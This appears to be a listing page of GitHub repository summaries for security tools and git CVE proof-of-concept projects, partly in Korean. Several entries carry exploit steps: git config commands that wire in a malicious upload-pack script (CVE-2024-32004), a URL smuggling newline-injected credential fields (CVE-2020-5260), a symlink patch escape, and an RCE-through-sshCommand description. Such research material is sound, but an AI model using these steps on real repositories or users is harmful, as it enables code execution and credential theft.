hooky

hooky 이 리포지토리는 https://github.com/markuta/CVE-2024-32002의 서브모듈로, macOS 시스템에서 계산기를 열기 위해 y/hooks/post-checkout에 위치한 간단한 훅을 포함하고 있습니다. open -a Calculator.app 취약점에 대한 자세한 정보는 여기와 여기에서 확인할 수 있습니다...

gitcolombo

Gitcolombo OSINT tool that extracts identities — names, emails, and links between seemingly unrelated accounts — from git repositories and GitHub. Python CLI gitcolombo.py — clones repos, walks git log, and can call the GitHub API for richer signals. Web version gitcolombo.html — a single static...

gitcolombo

Gitcolombo Git 리포지토리와 GitHub에서 신원이름, 이메일, 서로 관련 없어 보이는 계정 간의 연결을 추출하는 OSINT 도구입니다. Python CLI gitcolombo.py — 리포지토리를 클론하고 git log를 탐색하며, 더 풍부한 신호를 위해 GitHub API를 호출할 수 있습니다. 웹 버전 gitcolombo.html — 단일 정적 HTML 파일; 브라우저에서 열고 GitHub API를 직접 쿼리하며, 설치가 필요 없습니다. 각 이메일/이름이 어디서 오는지PGP 키, 공개 이벤트, 커밋 검색, 커밋...

DotGit

DotGit 방문한 웹사이트에서 .git이 노출되었는지 확인하는 확장 프로그램 기능 방문하는 각 사이트에 .git/.svn/.hg 폴더가 있는지 확인 방문하는 각 사이트에 .env 파일이 있는지 확인 방문하는 각 사이트에 .DSStore 파일이 있는지 확인 사이트가 오픈소스github/gitlab인지 확인 사이트에 security.txt가 있는지 확인 폴더가 발견되면 알림 발견된 노출 사이트 목록 파일이 사이트에 나열되지 않은 경우에도 전체 .git 폴더를 zip 형식으로 다운로드 한 번의 클릭으로 .git/config 보기...

smuggler

/ | | | | \ | | | | |/ |/ | || |/ | | | || | | | || | | /||||/ \ |\ || | @defparam Smuggler An HTTP Request Smuggling / Desync testing tool written in Python 3 Acknowledgements A special thanks to James Kettle for his research and methods into HTTP desyncs And a special thanks to Ben Sadeghipour...

commix

English • Ελληνικά • Español • Français • فارسی • Bahasa Indonesia • Türkçe Commix short for command injection exploiter is an open source penetration testing tool, written by Anastasios Stasinopoulos @ancst, that automates the detection and exploitation of command and code injection...

proxy

git-pkgs proxy A caching proxy for package registries. Speeds up package downloads by caching artifacts locally, reducing bandwidth usage and improving reliability. Version Cooldown Most supply chain attacks rely on speed: a malicious version gets published and consumed by automated pipelines...

CVE-2025-8110

Gogs RCE 익스플로잇 CVE-2025-8110 심볼릭 링크 우회 및 sshCommand 주입을 통해 .git/config 조작으로 원격 코드 실행RCE을 가능하게 하는 Gogs의 심각한 취약점 CVE-2025-8110 에 대한 개념 증명PoC입니다. 📖 개요 이 익스플로잇은 Gogs API 콘텐츠 관리의 경로 탐색Path Traversal 취약점을 대상으로 합니다. 인증된 사용자는 다음을 수행할 수 있습니다: 1. 저장소를 생성하고 내부 .git/config를 가리키는 심볼릭 링크 를 푸시합니다. 2. API를 사용하여...

CVE-2026-3854-lab

Flagship Lab 001: Git 푸시 옵션에서 RCE까지 공개적으로 문서화된 CVE-2026-3854의 취약점 개념에서 영감을 받은 로컬 Learning Lab 및 Research Lab입니다. 두 경험 모두 가상의 Git 서버인 ForgeDock을 대상으로 실제 인증된 Git 푸시를 사용합니다; Research Lab입니다. !CAUTION 이 프로젝트는 의도적으로 취약하게 만들어졌습니다. 로컬에서만 실행하세요. 해당 포트를 공용 또는 공유 네트워크에 노출하지 마세요. 프로덕션 용도로 사용하지 마세요. !NOTE 이...

CVE-2020-27955-LFS

Git-lfs 원격 코드 실행 RCE 익스플로잇 CVE-2020-27955 .bat / powershell 버전 취약 대상: git, GitHub CLI gh, GitHub Desktop, Visual Studio Code, SourceTree, SmartGit, GitKraken 등 발견자: Dawid Golunski https://legalhackers.com https://exploitbox.io Windows에서 테스트됨: git, GitHub CLI gh, GitHub Desktop, Visual Studio Code...

CVE-2023-23946-POC

CVE-2023-23946 PoC 익스플로잇 CVE-2023-23946에 대한 설명 및 PoC CVE-2023-23946 취약점은 git이 심볼릭 링크를 처리하는 방식의 결함으로 인해 발생합니다. git이 심볼릭 링크를 생성할 때 실제로 심볼릭 링크로 처리하지 않기 때문에, 이를 악용하여 작업 트리 외부의 파일을 가리키도록 할 수 있습니다. 먼저 심볼릭 링크를 생성합니다 ln -s PATHYOUWANTTOACCESSOUTSITEWORKINGTREE symlink 이제 git apply에 사용할 패치를 생성합니다 diff --g...

CVE-2017-1000117

CVE-2017-1000117 사용법 $ git clone --recursive https://github.com/ieee0824/CVE-2017-1000117.git git에 문제가 있을 때, ifconfig가 실행됩니다...

gdb-frontend

GDBFrontend is an easy, flexible and extensionable gui debugger. Installing Requirements GDB = 8.2 with python3 python3 = 3.6 tmux PIP Package Python Wheel Recommended You can install GDBFrontend with pip. sudo python3 -m pip install gdbfrontend if it is already installed and you are upgrading su...

massdns

MassDNS A high-performance DNS stub resolver MassDNS is a simple high-performance DNS stub resolver targeting those who seek to resolve a massive amount of domain names in the order of millions or even billions. Without special configuration, MassDNS is capable of resolving over 350,000 names per...

CVE-2024-32004

tmp 저장소를 생성하고 uploadpack.allowfilter를 true로 설정 git init tmp git -C tmp config uploadpack.allowfilter 1 tmp 저장소에서 evil 복제 git clone --filter=blob:none --no-local --no-checkout tmp evil rm -rf tmp 원격 필터 스크립트 구성 git -C evil config remote.origin.uploadpack "./fake-upload-pack" 악성 스크립트 실행 git pull...

fi6s

fi6s: Fast IPv6 scanner fi6s is an IPv6 port scanner designed to be fast, aimed at Internet scanning and discovery. This is achieved by sending and processing raw packets asynchronously. The design and goal is pretty similar to Masscan, though it is not as full-featured. Please take note of the...

talisman

Talisman A tool to detect and prevent secrets from getting checked in Table of Contents What is Talisman? Installation Install onto path recommended approach Installation as a global hook template Configuring a project Using with hook frameworks Pre-commit Husky Directly invoking talisman Upgradi...

cracklord

Cracklord http://jmmcatee.github.io/cracklord/ What Is It? CrackLord is a system designed to provide a scalable, pluggable, and distributed system for both password cracking as well as any other jobs needing lots of computing resources. Better said, CrackLord is a way to load balance the resource...

wifi-password

wifi-password Quickly fetch your WiFi password and if needed, generate a QR code of your WiFi to allow phones to easily connect. Works on macOS and Linux , Windows Installation Install using pip $ python3 -m pip install --user wifi-password Install using git $ git clone...

CVE-2020-5260

CVE-2020-5260 CVE-2020-5260 데모 기록 git은 'git clone https://example.com'과 같은 명령을 실행할 때, 프로토콜 'https'를 사용하여 호스트 'example.com'의 자격 증명을 저장하도록 요청하고, 원격 측에서 인증을 요청할 때 반환된 자격 증명을 발신 요청에 첨부합니다. git clone 'http://localhost:8088/%0ahost=github.com%0aprotocol=https 참고 링크:...